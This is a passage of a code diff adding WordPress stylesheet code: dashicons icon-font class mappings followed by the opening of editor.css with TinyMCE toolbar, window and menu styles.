+	text-align: center;
+	transition: color .1s ease-in 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+/* Admin Menu Icons */
+
+.dashicons-menu:before {
+	content: "\f333";
+}
+
+.dashicons-admin-site:before {
+	content: "\f319";
+}
+
+.dashicons-dashboard:before {
+	content: "\f226";
+}
+
+.dashicons-admin-media:before {
+	content: "\f104";
+}
+
+.dashicons-admin-page:before {
+	content: "\f105";
+}
+
+.dashicons-admin-comments:before {
+	content: "\f101";
+}
+
+.dashicons-admin-appearance:before {
+	content: "\f100";
+}
+
+.dashicons-admin-plugins:before {
+	content: "\f106";
+}
+
+.dashicons-admin-users:before {
+	content: "\f110";
+}
+
+.dashicons-admin-tools:before {
+	content: "\f107";
+}
+
+.dashicons-admin-settings:before {
+	content: "\f108";
+}
+
+.dashicons-admin-network:before {
+	content: "\f112";
+}
+
+.dashicons-admin-generic:before {
+	content: "\f111";
+}
+
+.dashicons-admin-home:before {
+	content: "\f102";
+}
+
+.dashicons-admin-collapse:before {
+	content: "\f148";
+}
+
+.dashicons-filter:before {
+	content: "\f536";
+}
+
+.dashicons-admin-customizer:before {
+	content: "\f540";
+}
+
+.dashicons-admin-multisite:before {
+	content: "\f541";
+}
+
+
+/* Both Admin Menu and Post Formats */
+
+.dashicons-admin-links:before,
+.dashicons-format-links:before {
+	content: "\f103";
+}
+
+.dashicons-admin-post:before,
+.dashicons-format-standard:before {
+	content: "\f109";
+}
+
+
+/* Post Format Icons */
+
+.dashicons-format-image:before {
+	content: "\f128";
+}
+
+.dashicons-format-gallery:before {
+	content: "\f161";
+}
+
+.dashicons-format-audio:before {
+	content: "\f127";
+}
+
+.dashicons-format-video:before {
+	content: "\f126";
+}
+
+.dashicons-format-chat:before {
+	content: "\f125";
+}
+
+.dashicons-format-status:before {
+	content: "\f130";
+}
+
+.dashicons-format-aside:before {
+	content: "\f123";
+}
+
+.dashicons-format-quote:before {
+	content: "\f122";
+}
+
+
+/* Welcome Screen Icons */
+
+.dashicons-welcome-write-blog:before,
+.dashicons-welcome-edit-page:before {
+	content: "\f119";
+}
+
+.dashicons-welcome-add-page:before {
+	content: "\f133";
+}
+
+.dashicons-welcome-view-site:before {
+	content: "\f115";
+}
+
+.dashicons-welcome-widgets-menus:before {
+	content: "\f116";
+}
+
+.dashicons-welcome-comments:before {
+	content: "\f117";
+}
+
+.dashicons-welcome-learn-more:before {
+	content: "\f118";
+}
+
+
+/* Image Editing Icons */
+
+.dashicons-image-crop:before {
+	content: "\f165";
+}
+
+.dashicons-image-rotate:before {
+	content: "\f531";
+}
+
+
+.dashicons-image-rotate-left:before {
+	content: "\f166";
+}
+
+.dashicons-image-rotate-right:before {
+	content: "\f167";
+}
+
+.dashicons-image-flip-vertical:before {
+	content: "\f168";
+}
+
+.dashicons-image-flip-horizontal:before {
+	content: "\f169";
+}
+
+.dashicons-image-filter:before {
+	content: "\f533";
+}
+
+
+/* Both Image Editing and TinyMCE */
+
+.dashicons-undo:before {
+	content: "\f171";
+}
+
+.dashicons-redo:before {
+	content: "\f172";
+}
+
+/* TinyMCE Icons */
+
+.dashicons-editor-bold:before {
+	content: "\f200";
+}
+
+.dashicons-editor-italic:before {
+	content: "\f201";
+}
+
+.dashicons-editor-ul:before {
+	content: "\f203";
+}
+
+.dashicons-editor-ol:before {
+	content: "\f204";
+}
+
+.dashicons-editor-quote:before {
+	content: "\f205";
+}
+
+.dashicons-editor-alignleft:before {
+	content: "\f206";
+}
+
+.dashicons-editor-aligncenter:before {
+	content: "\f207";
+}
+
+.dashicons-editor-alignright:before {
+	content: "\f208";
+}
+
+.dashicons-editor-insertmore:before {
+	content: "\f209";
+}
+
+.dashicons-editor-spellcheck:before {
+	content: "\f210";
+}
+
+.dashicons-editor-distractionfree:before,
+.dashicons-editor-expand:before {
+	content: "\f211";
+}
+
+.dashicons-editor-contract:before {
+	content: "\f506";
+}
+
+.dashicons-editor-kitchensink:before {
+	content: "\f212";
+}
+
+.dashicons-editor-underline:before {
+	content: "\f213";
+}
+
+.dashicons-editor-justify:before {
+	content: "\f214";
+}
+
+.dashicons-editor-textcolor:before {
+	content: "\f215";
+}
+
+.dashicons-editor-paste-word:before {
+	content: "\f216";
+}
+
+.dashicons-editor-paste-text:before {
+	content: "\f217";
+}
+
+.dashicons-editor-removeformatting:before {
+	content: "\f218";
+}
+
+.dashicons-editor-video:before {
+	content: "\f219";
+}
+
+.dashicons-editor-customchar:before {
+	content: "\f220";
+}
+
+.dashicons-editor-outdent:before {
+	content: "\f221";
+}
+
+.dashicons-editor-indent:before {
+	content: "\f222";
+}
+
+.dashicons-editor-help:before {
+	content: "\f223";
+}
+
+.dashicons-editor-strikethrough:before {
+	content: "\f224";
+}
+
+.dashicons-editor-unlink:before {
+	content: "\f225";
+}
+
+.dashicons-editor-rtl:before {
+	content: "\f320";
+}
+
+.dashicons-editor-break:before {
+	content: "\f474";
+}
+
+.dashicons-editor-code:before {
+	content: "\f475";
+}
+
+.dashicons-editor-paragraph:before {
+	content: "\f476";
+}
+
+.dashicons-editor-table:before {
+	content: "\f535";
+}
+
+/* Post Icons */
+
+.dashicons-align-left:before {
+	content: "\f135";
+}
+
+.dashicons-align-right:before {
+	content: "\f136";
+}
+
+.dashicons-align-center:before {
+	content: "\f134";
+}
+
+.dashicons-align-none:before {
+	content: "\f138";
+}
+
+.dashicons-lock:before {
+	content: "\f160";
+}
+
+.dashicons-unlock:before {
+	content: "\f528";
+}
+
+.dashicons-calendar:before {
+	content: "\f145";
+}
+
+.dashicons-calendar-alt:before {
+	content: "\f508";
+}
+
+.dashicons-visibility:before {
+	content: "\f177";
+}
+
+.dashicons-hidden:before {
+	content: "\f530";
+}
+
+.dashicons-post-status:before {
+	content: "\f173";
+}
+
+.dashicons-edit:before {
+	content: "\f464";
+}
+
+.dashicons-post-trash:before,
+.dashicons-trash:before {
+	content: "\f182";
+}
+
+.dashicons-sticky:before {
+	content: "\f537";
+}
+
+
+/* Sorting */
+
+.dashicons-external:before {
+	content: "\f504";
+}
+
+.dashicons-arrow-up:before {
+	content: "\f142";
+}
+
+.dashicons-arrow-down:before {
+	content: "\f140";
+}
+
+.dashicons-arrow-left:before {
+	content: "\f141";
+}
+
+.dashicons-arrow-right:before {
+	content: "\f139";
+}
+
+.dashicons-arrow-up-alt:before {
+	content: "\f342";
+}
+
+.dashicons-arrow-down-alt:before {
+	content: "\f346";
+}
+
+.dashicons-arrow-left-alt:before {
+	content: "\f340";
+}
+
+.dashicons-arrow-right-alt:before {
+	content: "\f344";
+}
+
+.dashicons-arrow-up-alt2:before {
+	content: "\f343";
+}
+
+.dashicons-arrow-down-alt2:before {
+	content: "\f347";
+}
+
+.dashicons-arrow-left-alt2:before {
+	content: "\f341";
+}
+
+.dashicons-arrow-right-alt2:before {
+	content: "\f345";
+}
+
+.dashicons-leftright:before {
+	content: "\f229";
+}
+
+.dashicons-sort:before {
+	content: "\f156";
+}
+
+.dashicons-randomize:before {
+	content: "\f503";
+}
+
+.dashicons-list-view:before {
+	content: "\f163";
+}
+
+.dashicons-exerpt-view:before, /* Misspelled. Use .dashicons-excerpt-view instead. */
+.dashicons-excerpt-view:before {
+	content: "\f164";
+}
+
+.dashicons-grid-view:before {
+	content: "\f509";
+}
+
+.dashicons-move:before {
+	content: "\f545";
+}
+
+
+/* WPorg specific icons: Jobs, Profiles, WordCamps */
+
+.dashicons-hammer:before {
+	content: "\f308";
+}
+
+.dashicons-art:before {
+	content: "\f309";
+}
+
+.dashicons-migrate:before {
+	content: "\f310";
+}
+
+.dashicons-performance:before {
+	content: "\f311";
+}
+
+.dashicons-universal-access:before {
+	content: "\f483";
+}
+
+.dashicons-universal-access-alt:before {
+	content: "\f507";
+}
+
+.dashicons-tickets:before {
+	content: "\f486";
+}
+
+.dashicons-nametag:before {
+	content: "\f484";
+}
+
+.dashicons-clipboard:before {
+	content: "\f481";
+}
+
+.dashicons-heart:before {
+	content: "\f487";
+}
+
+.dashicons-megaphone:before {
+	content: "\f488";
+}
+
+.dashicons-schedule:before {
+	content: "\f489";
+}
+
+
+/* Internal/Products */
+
+.dashicons-wordpress:before {
+	content: "\f120";
+}
+
+.dashicons-wordpress-alt:before {
+	content: "\f324";
+}
+
+.dashicons-pressthis:before {
+	content: "\f157";
+}
+
+.dashicons-update:before {
+	content: "\f463";
+}
+
+.dashicons-screenoptions:before {
+	content: "\f180";
+}
+
+.dashicons-cart:before {
+	content: "\f174";
+}
+
+.dashicons-feedback:before {
+	content: "\f175";
+}
+
+.dashicons-cloud:before {
+	content: "\f176";
+}
+
+.dashicons-translation:before {
+	content: "\f326";
+}
+
+
+/* Taxonomies */
+
+.dashicons-tag:before {
+	content: "\f323";
+}
+
+.dashicons-category:before {
+	content: "\f318";
+}
+
+
+/* Widget icons */
+
+.dashicons-archive:before {
+	content: "\f480";
+}
+
+.dashicons-tagcloud:before {
+	content: "\f479";
+}
+
+.dashicons-text:before {
+	content: "\f478";
+}
+
+
+/* Media icons */
+
+.dashicons-media-archive:before {
+	content: "\f501";
+}
+
+.dashicons-media-audio:before {
+	content: "\f500";
+}
+
+.dashicons-media-code:before {
+	content: "\f499";
+}
+
+.dashicons-media-default:before {
+	content: "\f498";
+}
+
+.dashicons-media-document:before {
+	content: "\f497";
+}
+
+.dashicons-media-interactive:before {
+	content: "\f496";
+}
+
+.dashicons-media-spreadsheet:before {
+	content: "\f495";
+}
+
+.dashicons-media-text:before {
+	content: "\f491";
+}
+
+.dashicons-media-video:before {
+	content: "\f490";
+}
+
+.dashicons-playlist-audio:before {
+	content: "\f492";
+}
+
+.dashicons-playlist-video:before {
+	content: "\f493";
+}
+
+.dashicons-controls-play:before {
+	content: "\f522";
+}
+
+.dashicons-controls-pause:before {
+	content: "\f523";
+}
+
+.dashicons-controls-forward:before {
+	content: "\f519";
+}
+
+.dashicons-controls-skipforward:before {
+	content: "\f517";
+}
+
+.dashicons-controls-back:before {
+	content: "\f518";
+}
+
+.dashicons-controls-skipback:before {
+	content: "\f516";
+}
+
+.dashicons-controls-repeat:before {
+	content: "\f515";
+}
+
+.dashicons-controls-volumeon:before {
+	content: "\f521";
+}
+
+.dashicons-controls-volumeoff:before {
+	content: "\f520";
+}
+
+
+/* Alerts/Notifications/Flags */
+
+.dashicons-yes:before {
+	content: "\f147";
+}
+
+.dashicons-no:before {
+	content: "\f158";
+}
+
+.dashicons-no-alt:before {
+	content: "\f335";
+}
+
+.dashicons-plus:before {
+	content: "\f132";
+}
+
+.dashicons-plus-alt:before {
+	content: "\f502";
+}
+
+.dashicons-plus-alt2:before {
+	content: "\f543";
+}
+
+.dashicons-minus:before {
+	content: "\f460";
+}
+
+.dashicons-dismiss:before {
+	content: "\f153";
+}
+
+.dashicons-marker:before {
+	content: "\f159";
+}
+
+.dashicons-star-filled:before {
+	content: "\f155";
+}
+
+.dashicons-star-half:before {
+	content: "\f459";
+}
+
+.dashicons-star-empty:before {
+	content: "\f154";
+}
+
+.dashicons-flag:before {
+	content: "\f227";
+}
+
+.dashicons-info:before {
+	content: "\f348";
+}
+
+.dashicons-warning:before {
+	content: "\f534";
+}
+
+
+/* Social Icons */
+
+.dashicons-share:before {
+	content: "\f237";
+}
+
+.dashicons-share1:before {
+	content: "\f237";
+}
+
+.dashicons-share-alt:before {
+	content: "\f240";
+}
+
+.dashicons-share-alt2:before {
+	content: "\f242";
+}
+
+.dashicons-twitter:before {
+	content: "\f301";
+}
+
+.dashicons-rss:before {
+	content: "\f303";
+}
+
+.dashicons-email:before {
+	content: "\f465";
+}
+
+.dashicons-email-alt:before {
+	content: "\f466";
+}
+
+.dashicons-facebook:before {
+	content: "\f304";
+}
+
+.dashicons-facebook-alt:before {
+	content: "\f305";
+}
+
+.dashicons-networking:before {
+	content: "\f325";
+}
+
+.dashicons-googleplus:before {
+	content: "\f462";
+}
+
+
+/* Misc/CPT */
+
+.dashicons-location:before {
+	content: "\f230";
+}
+
+.dashicons-location-alt:before {
+	content: "\f231";
+}
+
+.dashicons-camera:before {
+	content: "\f306";
+}
+
+.dashicons-images-alt:before {
+	content: "\f232";
+}
+
+.dashicons-images-alt2:before {
+	content: "\f233";
+}
+
+.dashicons-video-alt:before {
+	content: "\f234";
+}
+
+.dashicons-video-alt2:before {
+	content: "\f235";
+}
+
+.dashicons-video-alt3:before {
+	content: "\f236";
+}
+
+.dashicons-vault:before {
+	content: "\f178";
+}
+
+.dashicons-shield:before {
+	content: "\f332";
+}
+
+.dashicons-shield-alt:before {
+	content: "\f334";
+}
+
+.dashicons-sos:before {
+	content: "\f468";
+}
+
+.dashicons-search:before {
+	content: "\f179";
+}
+
+.dashicons-slides:before {
+	content: "\f181";
+}
+
+.dashicons-analytics:before {
+	content: "\f183";
+}
+
+.dashicons-chart-pie:before {
+	content: "\f184";
+}
+
+.dashicons-chart-bar:before {
+	content: "\f185";
+}
+
+.dashicons-chart-line:before {
+	content: "\f238";
+}
+
+.dashicons-chart-area:before {
+	content: "\f239";
+}
+
+.dashicons-groups:before {
+	content: "\f307";
+}
+
+.dashicons-businessman:before {
+	content: "\f338";
+}
+
+.dashicons-id:before {
+	content: "\f336";
+}
+
+.dashicons-id-alt:before {
+	content: "\f337";
+}
+
+.dashicons-products:before {
+	content: "\f312";
+}
+
+.dashicons-awards:before {
+	content: "\f313";
+}
+
+.dashicons-forms:before {
+	content: "\f314";
+}
+
+.dashicons-testimonial:before {
+	content: "\f473";
+}
+
+.dashicons-portfolio:before {
+	content: "\f322";
+}
+
+.dashicons-book:before {
+	content: "\f330";
+}
+
+.dashicons-book-alt:before {
+	content: "\f331";
+}
+
+.dashicons-download:before {
+	content: "\f316";
+}
+
+.dashicons-upload:before {
+	content: "\f317";
+}
+
+.dashicons-backup:before {
+	content: "\f321";
+}
+
+.dashicons-clock:before {
+	content: "\f469";
+}
+
+.dashicons-lightbulb:before {
+	content: "\f339";
+}
+
+.dashicons-microphone:before {
+	content: "\f482";
+}
+
+.dashicons-desktop:before {
+	content: "\f472";
+}
+
+.dashicons-laptop:before {
+	content: "\f547";
+}
+
+.dashicons-tablet:before {
+	content: "\f471";
+}
+
+.dashicons-smartphone:before {
+	content: "\f470";
+}
+
+.dashicons-phone:before {
+	content: "\f525";
+}
+
+.dashicons-smiley:before {
+	content: "\f328";
+}
+
+.dashicons-index-card:before {
+	content: "\f510";
+}
+
+.dashicons-carrot:before {
+	content: "\f511";
+}
+
+.dashicons-building:before {
+	content: "\f512";
+}
+
+.dashicons-store:before {
+	content: "\f513";
+}
+
+.dashicons-album:before {
+	content: "\f514";
+}
+
+.dashicons-palmtree:before {
+	content: "\f527";
+}
+
+.dashicons-tickets-alt:before {
+	content: "\f524";
+}
+
+.dashicons-money:before {
+	content: "\f526";
+}
+
+.dashicons-thumbs-up:before {
+	content: "\f529";
+}
+
+.dashicons-thumbs-down:before {
+	content: "\f542";
+}
+
+.dashicons-layout:before {
+	content: "\f538";
+}
+
+.dashicons-paperclip:before {
+	content: "\f546";
+}
Index: /tags/5.0.20/src/wp-includes/css/editor.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/editor.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/editor.css	(revision 56912)
@@ -0,0 +1,1858 @@
+/*------------------------------------------------------------------------------
+ TinyMCE and Quicklinks toolbars
+------------------------------------------------------------------------------*/
+
+/* TinyMCE widgets/containers */
+
+.mce-tinymce {
+	box-shadow: none;
+}
+
+.mce-container,
+.mce-container *,
+.mce-widget,
+.mce-widget * {
+	color: inherit;
+	font-family: inherit;
+}
+
+.mce-container .mce-monospace,
+.mce-widget .mce-monospace {
+	font-family: Consolas, Monaco, monospace;
+	font-size: 13px;
+	line-height: 150%;
+}
+
+/* TinyMCE windows */
+#mce-modal-block,
+#mce-modal-block.mce-fade {
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	transition: none;
+	background: #000;
+}
+
+.mce-window {
+	border-radius: 0;
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	-webkit-font-smoothing: subpixel-antialiased;
+	transition: none;
+}
+
+.mce-window .mce-container-body.mce-abs-layout {
+	overflow: visible;
+}
+
+.mce-window .mce-window-head {
+	background: #fcfcfc;
+	border-bottom: 1px solid #ddd;
+	padding: 0;
+	min-height: 36px;
+}
+
+.mce-window .mce-window-head .mce-title {
+	color: #444;
+	font-size: 18px;
+	font-weight: 600;
+	line-height: 36px;
+	margin: 0;
+	padding: 0 36px 0 16px;
+}
+
+.mce-window .mce-window-head .mce-close,
+.mce-window-head .mce-close .mce-i-remove {
+	color: transparent;
+	top: 0;
+	right: 0;
+	width: 36px;
+	height: 36px;
+	padding: 0;
+	line-height: 36px;
+	text-align: center;
+}
+
+.mce-window-head .mce-close .mce-i-remove:before {
+	font: normal 20px/36px dashicons;
+	text-align: center;
+	color: #666;
+	width: 36px;
+	height: 36px;
+	display: block;
+}
+
+.mce-window-head .mce-close:hover .mce-i-remove:before,
+.mce-window-head .mce-close:focus .mce-i-remove:before {
+	color: #00a0d2;
+}
+
+.mce-window-head .mce-close:focus .mce-i-remove,
+div.mce-tab:focus {
+	box-shadow: 0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.mce-window .mce-window-head .mce-dragh {
+	width: calc( 100% - 36px );
+}
+
+.mce-window .mce-foot {
+	border-top: 1px solid #ddd;
+}
+
+.mce-textbox,
+.mce-checkbox i.mce-i-checkbox,
+#wp-link .query-results {
+	border: 1px solid #ddd;
+	border-radius: 0;
+	box-shadow: inset 0 1px 2px rgba(0,0,0,0.07);
+	transition: .05s all ease-in-out;
+}
+
+.mce-textbox:focus,
+.mce-textbox.mce-focus,
+.mce-checkbox:focus i.mce-i-checkbox,
+#wp-link .query-results:focus {
+	border-color: #5b9dd9;
+	box-shadow: 0 0 2px rgba(30,140,190,0.8);
+}
+
+.mce-window .mce-wp-help {
+	height: 360px;
+	width: 460px;
+	overflow: auto;
+}
+
+.mce-window .mce-wp-help * {
+	box-sizing: border-box;
+}
+
+.mce-window .mce-wp-help > .mce-container-body {
+	width: auto !important;
+}
+
+.mce-window .wp-editor-help {
+	padding: 10px 10px 0 20px;
+}
+
+.mce-window .wp-editor-help h2,
+.mce-window .wp-editor-help p {
+	margin: 8px 0;
+	white-space: normal;
+	font-size: 14px;
+	font-weight: 400;
+}
+
+.mce-window .wp-editor-help table {
+	width: 100%;
+	margin-bottom: 20px;
+}
+
+.mce-window .wp-editor-help table.wp-help-single {
+	margin: 0 8px 20px;
+}
+
+.mce-window .wp-editor-help table.fixed {
+	table-layout: fixed;
+}
+
+.mce-window .wp-editor-help table.fixed th:nth-child(odd),
+.mce-window .wp-editor-help table.fixed td:nth-child(odd) {
+	width: 12%;
+}
+
+.mce-window .wp-editor-help table.fixed th:nth-child(even),
+.mce-window .wp-editor-help table.fixed td:nth-child(even) {
+	width: 38%;
+}
+
+.mce-window .wp-editor-help table.fixed th:nth-child(odd) {
+	padding: 5px 0 0;
+}
+
+.mce-window .wp-editor-help td,
+.mce-window .wp-editor-help th {
+	font-size: 13px;
+	padding: 5px;
+	vertical-align: middle;
+	word-wrap: break-word;
+	white-space: normal;
+}
+
+.mce-window .wp-editor-help th {
+	font-weight: 600;
+	padding-bottom: 0;
+}
+
+.mce-window .wp-editor-help kbd {
+	font-family: monospace;
+	padding: 2px 7px 3px;
+	font-weight: 600;
+	margin: 0;
+	background: #eaeaea;
+	background: rgba(0,0,0,0.08);
+}
+
+.mce-window .wp-help-th-center td:nth-child(odd),
+.mce-window .wp-help-th-center th:nth-child(odd) {
+    text-align: center;
+}
+
+/* TinyMCE menus */
+.mce-menu,
+.mce-floatpanel.mce-popover {
+	border-color: rgba(0,0,0,0.15);
+	border-radius: 0;
+	box-shadow: 0 3px 5px rgba( 0, 0, 0, 0.2 );
+}
+
+.mce-menu,
+.mce-floatpanel.mce-popover.mce-bottom {
+	margin-top: 2px;
+}
+
+.mce-floatpanel .mce-arrow {
+	display: none;
+}
+
+.mce-menu .mce-container-body {
+	min-width: 160px;
+}
+
+.mce-menu-item {
+	border: none;
+	margin-bottom: 2px;
+	padding: 6px 15px 6px 12px;
+}
+
+.mce-menu-has-icons i.mce-ico {
+	line-height: 20px;
+}
+
+/* TinyMCE panel */
+div.mce-panel {
+	border: 0;
+	background: #fff;
+}
+
+.mce-panel.mce-menu {
+	border: 1px solid #ddd;
+}
+
+div.mce-tab {
+	line-height: 13px;
+}
+
+/* TinyMCE toolbars */
+div.mce-toolbar-grp {
+	border-bottom: 1px solid #ddd;
+	background: #f5f5f5;
+	padding: 0;
+	position: relative;
+}
+
+div.mce-inline-toolbar-grp {
+	border: 1px solid #a0a5aa;
+	border-radius: 2px;
+	box-shadow: 0 1px 3px rgba( 0, 0, 0, 0.15 );
+	box-sizing: border-box;
+	margin-bottom: 8px;
+	position: absolute;
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+	max-width: 98%;
+	z-index: 100100; /* Same as the other TinyMCE "panels" */
+}
+
+div.mce-inline-toolbar-grp > div.mce-stack-layout {
+	padding: 1px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-up {
+	margin-bottom: 0;
+	margin-top: 8px;
+}
+
+div.mce-inline-toolbar-grp:before,
+div.mce-inline-toolbar-grp:after {
+	position: absolute;
+	left: 50%;
+	display: block;
+	width: 0;
+	height: 0;
+	border-style: solid;
+	border-color: transparent;
+	content: "";
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-up:before {
+	top: -9px;
+	border-bottom-color: #a0a5aa;
+	border-width: 0 9px 9px;
+	margin-left: -9px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-down:before {
+	bottom: -9px;
+	border-top-color: #a0a5aa;
+	border-width: 9px 9px 0;
+	margin-left: -9px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-up:after {
+	top: -8px;
+	border-bottom-color: #f5f5f5;
+	border-width: 0 8px 8px;
+	margin-left: -8px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-down:after {
+	bottom: -8px;
+	border-top-color: #f5f5f5;
+	border-width: 8px 8px 0;
+	margin-left: -8px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-left:before,
+div.mce-inline-toolbar-grp.mce-arrow-left:after {
+	margin: 0;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-left:before {
+	left: 20px;
+}
+div.mce-inline-toolbar-grp.mce-arrow-left:after {
+	left: 21px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-right:before,
+div.mce-inline-toolbar-grp.mce-arrow-right:after {
+	left: auto;
+	margin: 0;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-right:before {
+	right: 20px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-right:after {
+	right: 21px;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-full {
+	right: 0;
+}
+
+div.mce-inline-toolbar-grp.mce-arrow-full > div {
+	width: 100%;
+	overflow-x: auto;
+}
+
+div.mce-toolbar-grp > div {
+	padding: 3px;
+}
+
+.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first {
+	padding-right: 32px;
+}
+
+.mce-toolbar .mce-btn-group {
+	margin: 0;
+}
+
+/* Classic block hide/show toolbars */
+.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) {
+	display: none;
+}
+
+.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar {
+	display: block;
+}
+
+div.mce-statusbar {
+	border-top: 1px solid #e5e5e5;
+}
+
+div.mce-path {
+	padding: 2px 10px;
+	margin: 0;
+}
+
+.mce-path,
+.mce-path-item,
+.mce-path .mce-divider {
+	font-size: 12px;
+}
+
+.mce-toolbar .mce-btn,
+.qt-dfw {
+	border-color: transparent;
+	background: transparent;
+	box-shadow: none;
+	text-shadow: none;
+	cursor: pointer;
+}
+
+.mce-btn .mce-txt {
+	direction: inherit;
+	text-align: inherit;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn,
+.qt-dfw {
+	border: 1px solid transparent;
+	margin: 2px;
+	border-radius: 2px;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn:hover,
+.mce-toolbar .mce-btn-group .mce-btn:focus,
+.qt-dfw:hover,
+.qt-dfw:focus {
+	background: #fafafa;
+	border-color: #555d66;
+	color: #23282d;
+	box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	outline: none;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-active,
+.mce-toolbar .mce-btn-group .mce-btn:active,
+.qt-dfw.active {
+	background: #ebebeb;
+	border-color: #555d66;
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.3 );
+}
+
+.mce-btn.mce-active,
+.mce-btn.mce-active button,
+.mce-btn.mce-active:hover button,
+.mce-btn.mce-active i,
+.mce-btn.mce-active:hover i {
+	color: inherit;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover,
+.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus {
+	border-color: #23282d;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover,
+.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
+	color: #a0a5aa;
+	background: none;
+	border-color: #ddd;
+	text-shadow: 0 1px 0 #fff;
+	box-shadow: none;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
+	border-color: #555d66;
+}
+
+.mce-toolbar .mce-btn-group .mce-first,
+.mce-toolbar .mce-btn-group .mce-last {
+	border-color: transparent;
+}
+
+.mce-toolbar .mce-btn button,
+.qt-dfw {
+	padding: 2px 3px;
+	line-height: normal;
+}
+
+.mce-toolbar .mce-listbox button {
+	font-size: 13px;
+	line-height: 20px;
+	padding-left: 6px;
+	padding-right: 20px;
+}
+
+.mce-toolbar .mce-btn i {
+	text-shadow: none;
+}
+
+.mce-toolbar .mce-btn-group > div {
+	white-space: normal;
+}
+
+.mce-toolbar .mce-colorbutton .mce-open {
+	border-right: 0;
+}
+
+.mce-toolbar .mce-colorbutton .mce-preview {
+	margin: 0;
+	padding: 0;
+	top: auto;
+	bottom: 2px;
+	left: 3px;
+	height: 3px;
+	width: 20px;
+	background: #555d66;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-primary {
+	min-width: 0;
+	background: #0085ba;
+	border-color: #0073aa #006799 #006799;
+	box-shadow: 0 1px 0 #006799;
+	color: #fff;
+	text-decoration: none;
+	text-shadow: none;
+}
+
+/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
+.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
+	padding: 2px 3px 1px;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico {
+	color: #fff;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover,
+.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
+	background: #008ec2;
+	border-color: #006799;
+	color: #fff;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
+	box-shadow: 0 0 1px 1px #33b3db;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active {
+	background: #0073aa;
+	border-color: #006799;
+	box-shadow: inset 0 2px 0 #006799;
+}
+
+/* mce listbox */
+.mce-toolbar .mce-btn-group .mce-btn.mce-listbox {
+    border-radius: 0;
+    direction: ltr;
+    background: #fff;
+    border: 1px solid #ddd;
+    box-shadow: inset 0 1px 1px -1px rgba(0, 0, 0, .2);
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover,
+.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus {
+	border-color: #b4b9be;
+}
+
+.mce-panel .mce-btn i.mce-caret {
+	border-top: 6px solid #555d66;
+	margin-left: 2px;
+	margin-right: 2px;
+}
+
+.mce-listbox i.mce-caret {
+	right: 4px;
+}
+
+.mce-panel .mce-btn:hover i.mce-caret,
+.mce-panel .mce-btn:focus i.mce-caret {
+	border-top-color: #23282d;
+}
+
+.mce-panel .mce-active i.mce-caret {
+	border-top: 0;
+	border-bottom: 6px solid #23282d;
+	margin-top: 7px;
+}
+
+.mce-listbox.mce-active i.mce-caret {
+	margin-top: -3px;
+}
+
+.mce-toolbar .mce-splitbtn:hover .mce-open {
+	border-right-color: transparent;
+}
+
+.mce-toolbar .mce-splitbtn .mce-open.mce-active {
+	background: transparent;
+	outline: none;
+}
+
+.mce-menu .mce-menu-item:hover,
+.mce-menu .mce-menu-item.mce-selected,
+.mce-menu .mce-menu-item:focus,
+.mce-menu .mce-menu-item-normal.mce-active,
+.mce-menu .mce-menu-item-preview.mce-active {
+	background: #0073aa; /* See color scheme. */
+	color: #fff;
+}
+
+.mce-menu-item:hover .mce-text,
+.mce-menu-item:focus .mce-text,
+.mce-menu-item:hover .mce-ico,
+.mce-menu-item:focus .mce-ico,
+.mce-menu-item:hover .mce-menu-shortcut,
+.mce-menu-item:focus .mce-menu-shortcut,
+.mce-menu-item.mce-active .mce-menu-shortcut,
+.mce-menu-item.mce-disabled:hover .mce-text,
+.mce-menu-item.mce-disabled:hover .mce-ico {
+	color: inherit;
+}
+
+.mce-menu .mce-menu-item.mce-disabled {
+	cursor: default;
+}
+
+.mce-menu .mce-menu-item.mce-disabled:hover {
+    background: #ccc;
+}
+
+/* Menubar */
+div.mce-menubar {
+	border-color: #e5e5e5;
+	background: #fff;
+	border-width: 0px 0px 1px;
+}
+
+.mce-menubar .mce-menubtn:hover,
+.mce-menubar .mce-menubtn.mce-active,
+.mce-menubar .mce-menubtn:focus {
+	border-color: transparent;
+	background: transparent;
+}
+
